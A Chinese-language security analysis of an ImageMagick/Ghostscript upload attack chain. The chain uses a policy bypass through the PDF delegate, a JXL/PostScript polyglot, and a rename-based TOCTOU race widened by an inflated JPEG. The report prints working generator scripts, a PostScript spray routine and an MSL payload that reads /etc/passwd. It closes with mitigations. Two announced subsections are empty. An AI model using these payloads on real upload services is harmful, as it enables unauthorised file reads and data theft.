摘要
從使用者上傳的影像產生縮圖或色彩 metadata 的 Web 應用程式,經常將解碼工作委派給 ImageMagick (IM) ,而 IM 又會將某些格式交給外部直譯器(例如 Ghostscript (GS))。這份報告分析在生產等級論壇平台的上傳 pipeline 中觀察到的具體攻擊鏈,其中 (1) 透過 format-detection 模糊性繞過限制性的 IM security policy,(2) format polyglot 擊敗檔案類型 allowlist,以及 (3) time-of-check-to-time-of-use (TOCTOU) race condition — 由 parser-complexity "zip-bomb" 風格的 JPEG 擴大 — 將不可利用的操作(primitive)轉換為可靠的 任意檔案讀取 。
1. 簡介
使用 delegate 的影像處理一直是長期存在的攻擊面:僅 ImageMagick 就在 2016 年產生了 ImageTragick 漏洞揭露以及多個後續 CVE,因為它將檔案的
偵測到
格式(而非其
宣告
的副檔名)視為權威,並且對於無法原生解碼的格式,它會 shell out 到外部二進位檔
[2]
。此處檢視的案例延續了這個脈絡:Trust-Level-0(最低權限)使用者可以透過呼叫
convert
且沒有 coder prefix 的個人頭像上傳端點來存取 ImageMagick,以計算影像的「主要顏色」值。由於呼叫路徑接受任何副檔名
或
magic bytes 符合支援影像類型的檔案,多個獨立的 parsers — Rack 的 multipart handler、快速 C-based image sniffer、ImageMagick 的 MIME detector,以及 libxml2 的 encoding sniffer — 必須各自獨立地分類同一個 byte stream,但它們的結果並不一致。
2. 透過 PDF-to-PostScript Delegation 繞過 Policy
部署環境的 ImageMagick policy 直接拒絕 PostScript (PS) coder module,這應該能防止任意的 PS 執行:
- <!-- /usr/local/etc/ImageMagick-7/policy.xml -->
- <!-- Line 1: XML root element "policy" with domain="module" scopes this -->
- <!-- rule to coder MODULES (the PS/EPS/PDF decoder plugins), not to files. -->
- <!-- Line 1: rights="none" removes read/write/execute rights entirely. -->
- <!-- Line 1: pattern="{PS,PS2,PS3,EPS,XPS}" lists every PostScript-family -->
- <!-- coder name ImageMagick recognizes internally; PDF is NOT in this set. -->
- <policy domain="module" rights="none" pattern="{PS,PS2,PS3,EPS,XPS}" />
缺口在於 PDF rendering 並非由 IM 自己的 PS coder 處理;它是透過
delegate.xml
委派
給外部的 Ghostscript binary:
- <!-- /usr/local/etc/ImageMagick-7/delegate.xml -->
- <!-- Line 1: decode="pdf" fires whenever IM classifies the input as PDF; -->
- <!-- encode="eps" is the output coder this delegate rule is wired to. -->
- <!-- Line 1: mode="bi" = bidirectional, delegate both reads and writes. -->
- <!-- Line 1: command="'gs' ..." is executed via the shell with IM's own -->
- <!-- temp paths substituted into %i (input) and %o (output). -->
- <!-- -dSAFER restricts Ghostscript's file/operator sandbox at the GS -->
- <!-- level, independent of ImageMagick's policy.xml. -->
- <!-- -sDEVICE=eps2write selects Ghostscript's PostScript-family output -->
- <!-- driver, which internally still parses the input using the PS/PDF -->
- <!-- interpreter, so policy.xml's PS module ban is never consulted here. -->
- <delegate decode="pdf" encode="eps" mode="bi" command="'gs' -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=eps2write' '-sPDFPassword=%a' '-sOutputFile=%o' '-f%i'"/>
Ghostscript 本身透過 sniffing 檔案的前幾個位元組來選擇 interpreter,而非信任
pdf
delegate tag:以字串
%PDF-
開頭的檔案會交給 PDF interpreter,而其他內容則落入 PostScript interpreter
[3]
。由於 ImageMagick 自己的 PDF MIME rule 也依賴
.pdf
副檔名或相同的
%PDF-
prefix,一個具有
.pdf
名稱和 PostScript body 但缺少 PDF magic marker 的檔案,會被 IM 路由到 "pdf" delegate,交給
gs
,並被解釋為原始 PostScript。module-level policy denial 在架構上無關緊要,因為執行路徑從未觸及 IM 內部的 PS coder。
3. Format-Detection Divergence:JXL/PostScript Polyglot
要存取此 delegate,上傳必須先通過檢查檔案名稱副檔名和/或快速 magic-byte sniffer 輸出的應用程式層級 allowlist,並與一組固定的影像類型(JPEG、PNG、WebP、JXL 等)比對。JPEG XL (JXL) 檔案以 4-byte ISO-BMFF box-size field 開頭,其中三個必須為 null;第四個不受 detector 檢查約束。將該第四個位元組設為
%
的 ASCII 值,會使滿足 sniffer JXL signature 的相同位元組變成有效的 PostScript comment line,因為 PostScript 將
%
視為 line-comment marker,並靜默容忍 leading NUL bytes:
- # Program 1: builds a 2-in-1 file that both (a) fools the magic-byte
- # image-type sniffer into reporting "jxl" with valid dimensions, and
- # (b) is parsed as legal PostScript by Ghostscript's PS interpreter.
- import struct
- def jxl_poly(ps_code):
- # Line: pack a big-endian 4-byte box size of 37 (0x25 = ASCII '%').
- # Because the low byte of the size field doubles as a PS comment
- # opener, this one field satisfies both parsers simultaneously.
- # b'JXL ' is the mandatory 4-byte ISO-BMFF box type for the JXL
- # signature box; '\x0A%' opens a second PostScript comment line;
- # 26 filler bytes keep the box's declared size self-consistent.
- sig = struct.pack('>I', 37) + b'JXL ' + b'\x0A%' + b'A' * 26 + b'\x0A'
- # Line: second ISO-BMFF box, type "jxlc" (JXL raw codestream),
- # again sized 37 bytes so FastImage's parser stays in-bounds.
- # \xFF\x0A is the real JXL codestream magic the sniffer checks.
- # struct.pack('<HH', 0x0A25, 0) encodes a width/height pair that
- # the sniffer reads as non-zero pixel dimensions (passes a
- # "dimensions must not be 0x0" validation check), while the same
- # bytes read as "\n%" open yet another PS comment line.
- jxlc = struct.pack('>I', 37) + b'jxlc' + b'\xFF\x0A' + struct.pack('<HH', 0x0A25, 0) + b'%' + b'B' * 21 + b'\x0A'
- # Line: concatenate the two boxes with the attacker-supplied
- # PostScript payload; every byte of the "image" header is inside
- # a comment from the PS interpreter's point of view.
- return sig + jxlc + ps_code
- # Line: minimal PS payload used only to prove code execution by
- # painting a solid color rectangle (observable via output metadata).
- ps_code = b'0 0 1 setrgbcolor 0 0 612 792 rectfill showpage'
- open('polyglot.pdf', 'wb').write(jxl_poly(ps_code))
以上傳
.pdf
副檔名來說,這個單一檔案同時滿足應用程式的「這是支援的影像嗎」檢查(透過 JXL signature)和 Ghostscript PostScript interpreter(因為 signature bytes 同時作為 comments),將第 2 節和第 3 節串連成在 GS sandbox 內確認的指令執行,無需任何 GS-specific memory-safety bug。
3.1 上傳 Call Path 的架構
相關的控制流程如下:
4. 擴大 Race Window:Shared Temp File 上的 TOCTOU
在限制性 sandbox 下的 PostScript 執行本身是一個狹窄的操作(primitive),但它可透過 PS
renamefile
operator 暴露的 POSIX
rename()
semantics 來變更磁碟上的檔案。上傳的檔案被檢查一次(取得 type 和 dimensions),稍後再從同一路徑再次使用(dominant-color conversion)— 典型的 TOCTOU pattern—
[4]
。這兩個階段之間的原始 window 太窄而無法可靠命中,因此攻擊故意透過餵送一個精心製作的 JPEG 來減慢中間的 optimization pass,使其相對於檔案大小最大化 marker-parsing cost:
- # Program 2: generates a JPEG whose declared pixel count is large but
- # whose APP0 marker count is artificially inflated, so a metadata-
- # stripping optimizer must parse thousands of markers before the
- # upload pipeline reaches the dominant-color stage, widening the
- # TOCTOU race window to several seconds.
- from PIL import Image
- import io, struct
- # Line: allocate a 6324x6324 (~40 megapixel) solid-color RGB canvas;
- # large dimensions increase the baseline decode cost for the
- # optimizer without requiring complex pixel content.
- img = Image.new('RGB', (6324, 6324), color=(122, 12, 132))
- buf = io.BytesIO()
- # Line: encode as progressive JPEG; progressive scans require extra
- # multi-pass parsing versus baseline JPEG, adding further cost.
- img.save(buf, format='JPEG', quality=90, progressive=True)
- jpeg = buf.getvalue()
- # Line: loop prepends a 6-byte empty APP0 marker (FF E0, length 4,
- # zero-length body) right after the JPEG SOI marker on every
- # iteration, until the file reaches ~1MB; a marker-aware parser must
- # walk every one of these before reaching image data.
- while len(jpeg) < 1_000_000:
- jpeg = jpeg[:2] + b'\xFF\xE0\x00\x04\x00\x00' + jpeg[2:]
- # Line: write the padded JPEG bomb to disk for upload.
- open('bomb.jpg', 'wb').write(jpeg)
當 optimizer 忙碌約 25 秒時,攻擊者控制的 PostScript script 可以同時執行,並使用
renamefile
— 而非就地截斷和重寫檔案 — 來原子性地交換受害者 open file descriptor 接下來將讀取的內容,而不使該 descriptor 失效:
% Program 3: PostScript "spray" routine. Writes an SVG trigger file % once, waits for the victim's upload to reach the optimization % stage, then atomically overwrites every pending .msvg temp file % with that trigger so the later ImageMagick call reads attacker % content instead of the originally uploaded bytes. % Line: open /tmp/_spray_svg for writing ("w" file operator) and % duplicate the file object reference so write + close can chain. (/tmp/_spray_svg) (w) file dup % Line: SVG payload embeds an <image> element whose xlink:href uses % the "msl:" coder prefix, forcing ImageMagick's internal SVG parser % to treat /tmp/payload.msl as a Magick Scripting Language script % (a separate primitive used to perform the actual file read). (<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image xlink:href="msl:/tmp/payload.msl" width="200" height="200"/></svg>) writestring closefile % Line: busy-wait loop polling PostScript's "realtime" clock (ms) % until roughly 3000ms have elapsed, giving the victim's upload time % to pass its one-time content validation before the swap happens. { realtime 3000 ge { exit } if } loop % Line: filenameforall enumerates every path matching /tmp/*.msvg; % for each match, renamefile performs a POSIX rename() of the % trigger file onto that path. rename() repoints the path atomically % without touching the original inode, so any file descriptor the % victim process already has open keeps reading the OLD content, % avoiding corruption mid-read and making the timing non-critical. (/tmp/*.msvg) { /target exch def (/tmp/_spray_svg) target renamefile } 256 string filenameforall
由於重新命名的路徑現在解析為攻擊者控制的 SVG,且 ImageMagick 的內部 SVG handling(僅可透過
.msvg
-suffixed path 存取,繞過用於普通
.svg
檔案的 librsvg delegate)將
msl:
-prefixed
xlink:href
視為 script location 而非影像 URL,後續的 conversion call 執行 MSL script,例如
<read filename="label:@/etc/passwd"/><write filename="/tmp/exfil.png"/>
,產生任意檔案讀取。第二個相同的 race,用產生的輸出檔案替換 SVG trigger,透過普通的上傳-response JSON 將內容 exfiltrate 回來。
4.1 End-to-End Timing
5. 討論
三個特性使這個攻擊鏈可靠而非僅僅理論上可行。首先,format classification 由多個元件(extension check、magic-byte sniffer、delegate MIME rule、interpreter self-detection、XML encoding sniffer)獨立執行,沒有 shared source of truth,因此單一 polyglot 可以同時滿足 divergent checks。其次,module-level security policy(拒絕 PS coder)未涵蓋 delegate-level code path(PDF→Ghostscript),該路徑到達相同的底層 interpreter,說明 allowlists 必須在執行點強制執行,而非在相鄰的 abstraction layer。第三,POSIX rename semantics 會保留已開啟 descriptors 的舊 inode 內容,這通常是 crash-safety 的安全保證,但在此移除了通常與 TOCTOU exploitation 相關的精確時序需求,因為 swap 只需要在 下一個 open 之前落地,而非在當前讀取過程中插入。有效的緩解措施需要採用涵蓋 delegates 與 coders 的一致性預設拒絕政策,並避免在 request lifecycle 中跨多個 trust boundaries 重複使用同一個檔案系統路徑。
6. 結論
分析的 pipeline 顯示,現代影像處理 stacks 即使底層 C libraries 中沒有任何 zero-day memory-corruption bug,仍然可被利用,純粹透過 policy gaps、parser disagreement 和 filesystem race conditions 的組合。在採用類似 convert-on-upload 架構的防禦者,應審計每個 delegate entry 檢查其相對於編碼器政策的覆蓋缺口,將 format detection 正規化為單一 parser,並將任何多次重新開啟使用者提供 temp path 的工作流程視為 TOCTOU 風險,無論 apparent window 多小。